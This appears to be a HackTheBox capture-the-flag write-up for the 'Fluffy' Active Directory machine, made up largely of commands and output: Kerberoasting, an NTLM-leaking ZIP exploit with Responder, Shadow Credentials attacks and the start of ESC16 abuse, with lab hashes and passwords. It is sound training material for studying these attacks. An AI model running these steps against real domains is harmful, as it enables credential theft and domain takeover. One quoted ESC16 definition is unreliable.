Fluffy Writeup (HackTheBox Easy Machine)

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!


Overview

Fluffy is an easy Windows machine from HackTheBox. This box is an Active Directory challenge, which tackles certificate abuse, Shadow Credentials attack, ADCS attacks etc.

We start by discovering a vulnerability report on a SMB share, learning about unpatched bugs. We trick the DC to reach to us and give us the NTLMv2 hash of user “p.agila”. Then, we perform the Shadow Credentials attack (certificate abuse, “msDs-KeyCredentialLink” attribute) on all service accounts we have write access to, including the “ca_svc” account, getting their NT hashes.

Next, we use our control over “ca_svc” user and perform certificate template enumeration with “certipy”. We discover the ADCS ESC16 vulnerability, which allows us to trick the CA by modifying our user’s UPN into giving us Administrator’s NT hash, granting us full control over the domain.


Nmap scan

Starting with the Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A -p 53,88,139,445,464,389,636,593,5985,3268,3269 10.10.11.69 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-25 11:33 EDT
Nmap scan report for fluffy.htb (10.10.11.69)
Host is up (0.034s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-25 15:55:11Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T15:56:46+00:00; +21m20s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-05-25T15:56:46+00:00; +21m20s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-05-25T15:56:46+00:00; +21m20s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-05-25T15:56:46+00:00; +21m20s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-05-25T15:56:07
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 21m19s, deviation: 1s, median: 21m19s

TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 29.28 ms 10.10.14.1
2 30.86 ms fluffy.htb (10.10.11.69)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.61 seconds

The Nmap scan showed 11 open ports. Ports like 88 (Kerberos) and 389 (LDAP) suggest that we are dealing with a Domain Controller in Active Directory environment. Don’t forget to add the domain “fluffy.htb” and the computer name “dc01.fluffy.htb” to your “/etc/hosts” file.


Service enumeration & Kerberoasting

For the service enumeration, I used “enum4linux-ng” automated script. It found some very valuable information about the domain, enumerated users and groups, listed and tested the SMB shares.

┌──(kali㉿kali)-[~]
└─$ enum4linux-ng -A fluffy.htb -u FLUFFY/j.fleischman -p 'J0elTHEM4n1990!'

Knowing different relations and privileges between all of the objects within an Active Directory domain is always very helpful. That’s why I ran the “bloodhound-python” injector and pulled all of these information from the Domain Controller via LDAP, so it can be visualized in Bloodhound.

Next, I performed user enumeration with “lookupsid.py” via RID brute-forcing. The script discovered couple domain users and service accounts, that can be validated with Kerbrute as well.

┌──(kali㉿kali)-[~]
└─$ lookupsid.py FLUFFY/j.fleischman:'J0elTHEM4n1990!'@dc01.fluffy.htb | grep "SidTypeUser"
500: FLUFFY\Administrator (SidTypeUser)
501: FLUFFY\Guest (SidTypeUser)
502: FLUFFY\krbtgt (SidTypeUser)
1000: FLUFFY\DC01$ (SidTypeUser)
1103: FLUFFY\ca_svc (SidTypeUser)
1104: FLUFFY\ldap_svc (SidTypeUser)
1601: FLUFFY\p.agila (SidTypeUser)
1603: FLUFFY\winrm_svc (SidTypeUser)
1605: FLUFFY\j.coffey (SidTypeUser)
1606: FLUFFY\j.fleischman (SidTypeUser)


From our user enumeration, we can see that there are multiple service accounts like “winrm_svc”. Since we already have credentials for user “j.fleischman”, we could perform a Kerberoasting attack.

In Kerberos authentication, when a domain user requests access to a service (like SQL Server), the KDC (Key Distribution Center) provides a Ticket Granting Service (TGS) ticket that’s encrypted with the service account’s password hash. (ChatGPT)

We, as authenticated user, can request a TGS ticket for service accounts with SPNs (Service Principal Names). Then, we can extract the password hash of the attacked service account from the TGS ticket and try to crack it offline, using tools like “Impacket-GetUserSPNs” and John The Ripper suite.

┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs fluffy.htb/j.fleischman:'J0elTHEM4n1990!' -dc-ip dc01.fluffy.htb -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------- --------- --------------------------------------------- -------------------------- -------------------------- ----------
ADCS/ca.fluffy.htb ca_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb 2025-04-17 12:07:50.136701 2025-05-25 16:19:39.215971
LDAP/ldap.fluffy.htb ldap_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb 2025-04-17 12:17:00.599545 2025-05-25 16:17:28.481600
WINRM/winrm.fluffy.htb winrm_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb 2025-05-17 20:51:16.786913 2025-05-19 11:13:22.188468



[-] CCache file is not found. Skipping...
$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$f24b79a616811de16c3a302f30b258cf$d21959d01c393cff9c3aa30f1c9907edf4ffcff9caf1efd5708e921453366cc1385f7190d0bccd5f4beb544148141326466b04ced7f84668d83b7c9656bbd06780db6b9b9c76a7f5578c921257debff85247257cf1b946f8b004e117840275fe6d25567623af3f4a07e17b102ace729a31d74fa6c31b7092897ad75d5033ca33b68d0e0c29c5bb2926e9c68900756260467459a0a2dd2863594a0689155ecdc28d368c31dc3fa0cc147c727b2cf93d5094a28149b5137acb0b6c7428ea0ab77bbd54b4210ad7999a1c2b4c5a858dbdc70eb54782cd42ee13377e243363634033f7904d848f527bc46e8c94bc8714fa46ab0bcee066f7075a3d4e2c264e83a317adb39edc096a44f75a157345516674545f8a4b25023c0f1767d5c8a68552c8e92aec35d415e541a72f11234ee089a2879982d5e71ca324e22d7fd1a03f07be39c43ba457e0113d44ed7ad163e157c9e7627a96454ab3d0d93a3eee7b955c42b734569d4d88f1a8437c41c9165397b83f411105498d693e55856026d87faecbdf88ce7cd1fa3abaf983de8d48adbca54fe6ca4b072ade7a333cae7a7bd02a9b1e029853525a53f35ca94cda70ceac6d7a2ba5314d92cfa0e5a42fbb1535a8090c8e610a42c5d5b6a8af89bd1e5e823c182ba028f2dc22f92a0a1d75ec0e19c6273b23acb0a527102666e42fa84af5fadd663c02771521a2915b92b6157e65796e6c15c616c93084578730ccc3cad0e66749707b5dca051c95bff56e7e076cdfea4132bc4580a9151118f0887cc0a98b1273d6825df4e7d0a3b6e52527e79727a7c3658581093bfb2264810712321fcc5528bdd96498d36160b06acf68c42ab57515a9416e9cad64c118472c68740e3b459f95261a6138203c1a3798c4aa4ab7a9b7f7102114bed220b23ff49ae546f0541049a2641d2840055abe3e45ffd6888d10aae71d370049cbd4fbcb3e7b113e2627022463a87577afd257ec1c1548dd12867e655305afb68c8f49c0ed163e36fbdbe9fddfcd86c1a6cff594e66e7bbac68753ce4fce04536dac9ac41a6417ec72eb211127329d46688c5c8fe1a8ca758a8726297a4d81e1ea7963756a373b9ed859c54e3d7ff7e577fcb2d0dd5192d41ff86edbdb64780dc72108785e82b0e458dbb2e6aa8ed0ee3cae7263e00698e91c019f716e3d569f5ed7d538a35bff81cf9f8b4f74539205ac9b9dd601febb840145f5e3e5b38d42ecd1a77f0732011378640e71257cf135918b26417862ffe30df20c9e061233d1b68610646366882b751a3c8a465f1d2fea94129264304cf3d82f7323cbf98511beeb86e1ff88f694b21a472fc638337b098f2ca5392a885e5dad1b3c1f4b3432b0606228f0731f0c0cc5c6a25b521450ae9932d1986486728409a422f589a51bb5ace4f05a0a48120f801b81e10f5c0a2724037a3b089e372c2216fccbea74d3349757097eecd712c089f376dd03ce63bac53d819ab46e644a37e155ffea36cad974824f211c257802fa466b95105123e69f165798205763a11b563bc8306761d1e940bdf6c31251
$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$efe6e11c8f9a095997c108dc7bb4ddd8$f2037a5ae17d55e01adb960547996505862c4c4f498875c96c4bcba55f9857ed591bc8ee72ed64dd221c42fe4a0e3eb914e505d9997a21f4ab746e4a5f2798883d3cc100d2c9f5743069ceb4fae1659dbddf090320c8bd60dc0985aa334f99ea9a4ca0ef25f37b2d5c364e39a7c7bfcc0489bf7ff33fe8dbb222bf23e7ccbaddb60e62fe0901da3cbd1fe8bb1c1707e9be5d03a91fe129c25457a9b4d4412d8ca75cb2ba015804c3b422ed23d180af3523bdeff70ebbd545503182e6dda9aae7068ab389c98b9a12be545bcb088891e2d1b8b2b00e2f89ca9cbb2468ac3cdad2aeac1020d60618eece61f57916d66995d33166c0142aa68dd21a16703ab31d9d6db9e03bcfb8fc528856fe726486671ce549952201df3dfd409ecbbc3ddb09dcebf701805d45e50c57221be670694d64679df2007efa306a1b39859a1da304f337e50ae64f7a9571fcc98bda7fa24d08e18cfb9956f803b77c454867c6d23cca5eefd5784594f1c2b7d5dcd7c45221b35ef040a0bec64aa24391c417d63e2d39b3980aa29f54d2fdc0605f5fb6dbe2147ec163f72c6bbe445bb88835ba1e3311de624530dd186ce24bf2d8b4a72ded050446e950dd551e08a0eb53e3a387762f04a9734ab5b7e83a8bb7e27b9da741d96eb835c2c577f41b38111d1e2b3a2556f5a33882f24b16157cc7a1255793709869280d0f7eff4076a3f51c26b00e7f3a12089915ccfb830bbaf1ca91924e44761046de1b4713ba568795f38b3740bc62726f082b4d5750a991c84048e90850291937a243ac4b8aef0576955a8786af7c6afe0772cd905da49bd254205c479bb7e834a47e00868ff2f8ef91bb101e7a0b6c7607a174bd30d80523abaa75f321ce4729541fb29bcf624d6b0a0e9f7b58220b996b8f4fbf5063df01463847507121638cab07026679ca7a8fed15e68e79d5d2d9cece333d3fd93dbe45e2671160cebe576aa89977c72aaef97b6aef87ae75cd6590b01c714b15055d564ec08d8ab52772c1d12684a4d9c6c48ce0b014acaf418a71cc9f3bf99478aa3c5a4358dd8bc558761b0ef97d92d6289ae22ebb123bd8e448d82548ca882725ffd187d9527666422b5a7ee5596621dd330c5a511366a53597cbb1d7ff6c60442280b64e2506d36a717bad546982469c984d301129b4968bdca4a5bacc191bf9d2cf0fdec8e3b17d1c1d4cead3c4804f01f64cb87069f94078e4e9721a9f434e6a86ae11dd77107730dda6791d8895f0bd713538edadbf90040c719e84b3f5d7f0cfc513dd9ddc0d02e70c38f9cffe877e5d32d8464a85ec07cff5ce77c7cb8a767f056e89ee3401c88242d433f457881535e8c852b52d551f27d03209c35bc4bae82c77918869f70465d45666474b7a1b040afed6768bd4c76ec29919db070b6785a700cbe8f3aef74af91a1a0ed753f3561bf395619fbda1d62756a5f134f547cf017682713e2eed4fa9e18b452ce79e002629ddc4c56f01253d8849ae2db7fde39c6ac46fd3bc91dd7dde1421e021339cd0dbd9de81da186313203293b59990a1029338
$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$1c095d695703f2db4f0b403b7009f742$3b84adec5ea3d4c83c21ece98c2913ead2cde8f1da73f493d564c772e8212bd4e386296ae77bf157aed169551daa1c798a2902c63600324777499def51aa3cb42efe7696bf7d84d809def6814c6d838bff8a68d08687ad517bd7739bff100463a5b5fe39e4b1b73cb17800d711ec8587a1ed5b30dc81d80dd274ab3cf6747113e5c401225b9f10277e6e4c6e2387ebc8a0e99f210130b3503320c104e94f8897a946b962c3eb6691ca9a0db938c0bb9bf2d061e4e9c62959357b3df83130b0538c025bd31e29ace79c332b4d1160faaeb79a054b346dd65f89cfb44a2fb191abc505ba79d4ba0033ae432908ccfde6cb9cdc2a35594180a2bfe85ff403014af6e6e223045a8e07394ca4a675282f0924794b982253892a3001d4e06f027d547fcd0385ba495240458a95017963c16e442fa474943605825644c9182d1b704552e258755f563bf9828b90f9312467efcb87944ea3eb17e0f514a490460b128e15829e15a5b4bbdd1f346d069449d3cb1cdeb88d0813716ece727c63d06a8848cf0ba22251b2a70830e915f3be6c124d65ef25e1ed75d2f94febca98a78e56e2eb4c3ed9dbb92ab04b04fdba715e60496911fdefbea8170dd0cd7cf28ef41f17682ae93e2c3007cfd421c3cfe4b855883ffbfa27a8dfed0cce373bb3646c38eda6804af96854ed1aaef5cd2752cc9b67fb744193cf9903c7b9cba7930754b664ecc0a5bbfb154794141638700e1c72bee3f7de0554baaa3f29eb5d09e10090fee6b7c1c33add7d3d2577d66856551551091102eefa43c74a7c75b96b1ab37ec317c19a16856fe7e1b4643c7af8558e0f66c4cd769bd50f264c5b870f79b58edfcd35dadc80d6ff91f0e65b24840c8a4ac76d446c5ea11ef2724b5f885ca0c8f851b0d5fb207eea2fe4f31fc87643b4491f10d6ef3cf8509300dbfb442db605593984ae9352e29993fe355a4fda1395bbc6edd56bce4becd7f8458efcac1f32030e49deebc93e671c418a62a7049d868de085272414c18044fdcbb70e715f15157d0c9c34eecaa63451caabe111d2dc793fe42a047a9c65c35ad58c5c03d63812d9ff83dea48df14b025bc2195922928bd4b76a7eaca4933f8f7e523b7f06adbe87daac4b16529c456d7779c588c3a17e4d3f9f40bc42275d8b263f38aebd75d6e2659cf3682d56ab55e19f29de86a09cfb8e95dbf0acb69af4bc8c14f0b03426d6e612770b2e6ad3d25afa7fafe4ee9652a59debb053c14114ffb26e9b06ed39c43a95f9a59b6a49c6d0e09a0d41eca9a4a91745f467e4f6edb950b9186267bb3c9cc821af543f0a23437f55281ee1240d5adf1ba9c7db013877eac52381ae7fffc02dc135bc1c708033f0303b2a111213f2a58799a0b4d72c3a4c63920e4b84e00c44851f0fdf781a31403662aa418140a1ff5e0e50721cdea391919676e5a3e003acce0a6b421e068f9137b63a1fdeca2cf6cb5eb53782c34d7b2f0468dd5b404b1866e95aa6faf7786eaf4ae2138bd00ef098f666d65ff955744619470e2c0682a112edeb2a17f94c0c669c7f2839

After that, I tried to crack those hashes with John The Ripper offline. Unfortunately, John wasn’t able to crack any of those hashes, forcing us to look elsewhere for other ways to make progress.

┌──(kali㉿kali)-[~]
└─$ john hashes --wordlist=Downloads/rockyou.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:09 DONE (2025-05-25 16:46) 0g/s 1451Kp/s 4355Kc/s 4355KC/s !!123sabi!!123..*7¡Vamos!
Session completed.


Enumerating SMB shares, discovering critical vulnerability & capturing NTLMv2 hash for user “p.agila” with Responder

I stepped back and looked at all active services again. I realized that I haven’t enumerated the SMB service yet, so I ran “nxc” and checked all of the SMB shares and my user’s permissions over them. There was one non-default share named “IT”, over which I had READ/WRITE permissions.

So I used “smbclient” tool to access this “IT” share. There were couple files on this share, most likely intended for the IT department only, which I quickly downloaded for closer inspection.

┌──(kali㉿kali)-[~]
└─$ smbclient \\\\fluffy.htb\\IT -U FLUFFY/j.fleischman
Password for [FLUFFY\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon May 26 11:06:04 2025
.. D 0 Mon May 26 11:06:04 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 11:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 11:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 11:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 11:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 10:31:07 2025

5842943 blocks of size 4096. 1597750 blocks available
smb: \> get Upgrade_Notice.pdf
getting file \Upgrade_Notice.pdf of size 169963 as Upgrade_Notice.pdf (734.4 KiloBytes/sec) (average 734.4 KiloBytes/sec)
smb: \> get KeePass-2.58.zip
getting file \KeePass-2.58.zip of size 3225346 as KeePass-2.58.zip (1861.6 KiloBytes/sec) (average 1728.7 KiloBytes/sec)
smb: \> get Everything-1.4.1.1026.x64.zip
getting file \Everything-1.4.1.1026.x64.zip of size 1827464 as Everything-1.4.1.1026.x64.zip (834.7 KiloBytes/sec) (average 1257.5 KiloBytes/sec)

There was an upgrade notice for the IT department, describing multiple critical vulnerabilities found within the domain. Next, a Keepass ZIP file, containing several Keepass files like configs, application and other stuff. And lastly, unknown executable named “Everything”.

found files on SMB “IT” share


The PDF notice was the most interesting one. It contained a report of found vulnerabilities, some of them critical. My first thought was that maybe the IT department didn’t fix those yet.

I’ve done some research on all of these vulnerabilities. While researching the CVE-2025–24071, I found this Github repository (https://github.com/0x6rss/CVE-2025-24071_PoC), which explained how does the vulnerability work and contained a working PoC exploit as well. Bingo!

CVE-2025–24071 is a high-severity spoofing vulnerability in Microsoft Windows File Explorer that allows attackers to capture NTLM hashed credentials over a network, potentially leading to unauthorized access. (ChatGPT)

Windows Explorer automatically initiates an SMB authentication request when a “.library-ms” file is extracted from a .rar archive, leading to NTLM hash disclosure. The user does not need to open or execute the file — simply extracting it is enough to trigger the leak. (0x6rss’s Github repository)

TL;DR: Main idea was to upload malicious ZIP file with “.library-ms” file, which would contain a fake SMB path, pointing to the attacker machine. The victim machine would ask other machines around, if they know the attacker’s IP address. That’s where we come in with tool like Responder, which says to the victim machine, that it knows the IP address and prompts it to send user’s NTLMv2 hash. After that, we can simply try to crack the hash offline with Hashcat or John The Ripper.

Responder basically sits on a network interface and waits for such desperate messages, ready to trick them. This attack is also referred to as LLMNR poisoning or spoofing.


So I downloaded the exploit and ran it. It created the malicious ZIP file with fake SMB path.

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
Enter your file name: exploit
Enter IP (EX: 192.168.1.162): 10.10.14.66
completed

The SMB path contains my (attacker’s) IP address.

Next, I grabbed the malicious ZIP file and uploaded it to the “IT” SMB share.

smb: \> ls
. D 0 Mon May 26 12:06:13 2025
.. D 0 Mon May 26 12:06:13 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 11:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 11:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 11:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 11:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 10:31:07 2025

5842943 blocks of size 4096. 1815360 blocks available
smb: \> put exploit.zip
putting file exploit.zip as \exploit.zip (3.2 kb/s) (average 3.1 kb/s)

I started Responder and specified the network interface.

Now, all we have to do is wait for someone who unzips the file. After a while, user named “p.agila” unzips our malicious archive and his NTLMv2 hash appears in our Responder.

captured NTLMv2 hash of user “p.agila” by Responder


Great! Now we can try to crack the hash with tool like Hashcat. And that was a success.

Now that we compromised another user “p.agila”, new possibilities emerge for us.


Shadow credentials attack & getting user flag

To better visualize all of the relations between objects within the domain, I booted Bloodhound and uploaded all the collected JSON files from earlier. Hoping to find my next attack vector.

Looking at the shortest path from owned principals, we can see that “p.agila” is member of “Service Account Managers” group, which has “GenericAll” permission over “Service Accounts” group, which has “GenericWrite” permission over user “winrm_svc”, who can get an interactive shell on the DC.

The most interesting permissions are “GenericAll” (full control over AD object) and “GenericWrite” (allows to write to predefined set of properties). It’s obvious that this is our next attack vector.


Firstly, we need to add our user “p.agila” to the “Service Accounts” group. Bloodhound shows us a way to abuse the “GenericAll” privilege and add ourselves to the group using “net”.

So we can use this command to add “p.agila” to the “Service Accounts” group:

┌──(kali㉿kali)-[~]
└─$ net rpc group addmem 'Service Accounts' 'p.agila' -U 'FLUFFY'/'p.agila'%'prometheusx-303' -S dc01.fluffy.htb

Then, we can confirm that our user was added to the group with this command:

┌──(kali㉿kali)-[~]
└─$ net rpc group members 'Service Accounts' -U 'FLUFFY'/'p.agila'%'prometheusx-303' -S dc01.fluffy.htb
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\p.agila
FLUFFY\winrm_svc


Secondly, we have to abuse the “GenericWrite” privilege. Again, Bloodhound shows us 2 ways. First way is Kerberoasting attack, which we already tried at the start and it failed. Second way is Shadow Credentials attack using “pywhisker”, which is a certificate-based cyberattack.

I’ve done some research on this attack. I found this article: https://i-tracing.com/blog/dacl-shadow-credentials/, which I highly recommend to read to understand the attack solidly.

Basically, another way to authenticate to Kerberos (other than with a password, which is symmetric authentication) is to authenticated with a certificate, which is asymmetric authentication or PKINIT. Client uses a key pair (public and private key). Public keys are exchanged between KDC and the client via digital certificates, which are signed by the CA (Certificate Authority).

LDAP offers a special “msDs-KeyCredentialLink” attribute, which stores the assigned public key when a certificate is linked to a machine account, ensuring it’s secure association. Managing and modifying this attribute should be allowed to highly-privileged users only.

When an attacker gets sufficient privileges to alter other user’s attributes, they can populate the “msDs-KeyCredentialLink” attribute with their own associated public key. Then, they can request the PFX certificate (private key) for the target user. And finally, the attacker can authenticate with the PFX certificate and retrieve a TGT (Ticket Granting Ticket) or target user’s NT hash via U2U protocol. This is the entire Shadow Credentials attack visualized from the earlier article:

visualized Shadow Credentials attack


Our plan starts with modifying the “msDs-KeyCredentialLink” attribute of user “winrm_svc”. I used “pywhisker.py” (https://github.com/ShutdownRepo/pywhisker) to populate the attribute. If successful, the “pywhisker” script automatically requests the PFX certificate as well.

┌──(kali㉿kali)-[~]
└─$ python3 /opt/pywhisker.py -d fluffy.htb -u p.agila -p prometheusx-303 --target winrm_svc --action add
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: d62c94ef-eb10-60a9-ca04-f2dd9cc70770
[*] Updating the msDS-KeyCredentialLink attribute of winrm_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: iFHhrA6b.pfx
[+] PFX exportiert nach: iFHhrA6b.pfx
[i] Passwort für PFX: eQ7XS5bIYNwEKK9FN4i8
[+] Saved PFX (#PKCS12) certificate & key at path: iFHhrA6b.pfx
[*] Must be used with password: eQ7XS5bIYNwEKK9FN4i8
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

This generated PFX and PEM files on your machine, PFX being the certificate we wanted all along. To verify that our manipulation was successful, we can list all devices in the attribute. You should check if the listed DeviceID matches the ID from the “pywhisker” output.

┌──(kali㉿kali)-[~]
└─$ python3 /opt/pywhisker.py -d fluffy.htb -u p.agila -p prometheusx-303 --target winrm_svc --action list
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Listing devices for winrm_svc
[*] DeviceID: d62c94ef-eb10-60a9-ca04-f2dd9cc70770 | Creation Time (UTC): 2025-05-27 13:26:15.562361

Bingo! We have the certificate for user “winrm_svc”. Now, we can either request a TGT or NT hash. You would use Impacket script “gettgtpkinit.py” to get the TGT. Then, you could try to crack the user’s password from it. But let me tell you, the password for “winrm_svc” user in uncrackable. That’s why we get the NT hash instead and get interactive shell by using the pass-the-hash trick.

I’m gonna use “certipy-ad” tool, which specializes in AD certificate abuse. But before we authenticate, we have to un-protect the certificate, because it cannot handle password-protected certificates for authentication. To do that, we can use “certipy-ad” and export unprotected “certificate.pfx”. We will use the password from “pywhisker”.

┌──(kali㉿kali)-[~]
└─$ certipy-ad cert -export -pfx "iFHhrA6b.pfx" -password "eQ7XS5bIYNwEKK9FN4i8" -out certificate.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'certificate.pfx'

And finally, we use “certipy-ad” once again to authenticate. Here, the script automatically requests user’s NT hash, which is the 32-character string after the colon.

┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx certificate.pfx -username "winrm_svc" -domain "fluffy.htb"
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Got hash for 'winrm_svc@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:33bd09dcd697600edf6b3a7af4875767


Also, there’s one alternative way to get the NT hash. “Certipy-ad” can automate the whole process from the beginning to the end with this command:

certipy shadow auto -u "$USER"@"$DOMAIN" -p "$PASSWORD" -account "$TARGET_ACCOUNT"

I didn’t show you this at the start for the sake of learning. Now you know, though :D.


I tried to crack the NT hash with John The Ripper, but no luck there.

Luckily, we can use the pass-the-hash trick only NTLM hashes are vulnerable to and successfully get interactive shell via WinRM, using tool “evil-winrm”.

Looking at the Desktop, there’s our user flag. Now onto the root.


Exploiting ESC16 in ADCS & getting root flag

I looked back at the Bloodhound and realized, that we can use the Shadow Credentials attack on all service users. Maybe compromising “ldap_svc” or “ca_svc” user is the correct way to the root.

So we can basically redo the Shadow Credentials attack against other service users. I was particularly interested in the “ca_svc” user, because that’s the Certificate Authority account.

To automate the whole exploit, I used this command with “certipy-ad” from earlier.

┌──(kali㉿kali)-[~]
└─$ certipy-ad shadow auto -u 'p.agila'@'fluffy.htb' -p 'prometheusx-303' -account 'ca_svc'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '6e5dcd85-29b1-3932-728c-178be83f1de4'
[*] Adding Key Credential with device ID '6e5dcd85-29b1-3932-728c-178be83f1de4' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '6e5dcd85-29b1-3932-728c-178be83f1de4' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

That gave me the NT hash straightaway, which I validated with “nxc”.


The “ca_svc” user stands for Certificate Authority. Because we compromised this user already, we can perform additional certificate-related enumeration with very high privileges.

Since we already know that the domain uses certificates for asymmetric Kerberos authentication, we can use “certipy” to enumerate vulnerable certificate templates, which would allow privilege escalation. For this to work correctly, you have get yourself “certipy” version 5 by creating a Python virtual environment and downloading the newest “certipy” with “pip3” for example.

┌──(venv)─(kali㉿kali)-[~]
└─$ certipy -v
Certipy v5.0.2 - by Oliver Lyak (ly4k)

To enumerate the certificate templates and authorities, we can use “certipy” with the “find” option.

This will create a TXT file on your machine with all of the output. Lucky for us, a vulnerability was found known as ESC16. It’s characterized by the disabled “1.3.6.1.4.1.311.25.2” extension. This extension ensures that the object’s SID is included in the certificate. When it’s disabled, we can use a clever trick to obtain a certificate for any user, including the administrator.

Certipy identified the ESC16 vulnerability, based on disabled security extension

When you do some research, you’ll find out that there are multiple known vulnerabilities in ADCS (Active Directory Certificate Services). Whether the CA is vulnerable or not depends mostly on the used template and the configuration itself. ESC16 is only one of many known vulnerabilities. To get better understanding, as well as a guide to exploitation, I recommend reading this Medium article on ESC16 by Munib Nawaz: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6.

ESC16 refers to a security misconfiguration or abuse scenario where: An attacker can exploit unauthenticated certificate enrollment via Web Enrollment or NDES, allowing them to obtain a certificate for a user or computer account they do not control. (ChatGPT)


The whole attack starts by modifying the UPN (UserPrincipleName) of a user we control (our user too), overwriting it to “administrator”. In this case, the certificate will be issued based on this UPN.

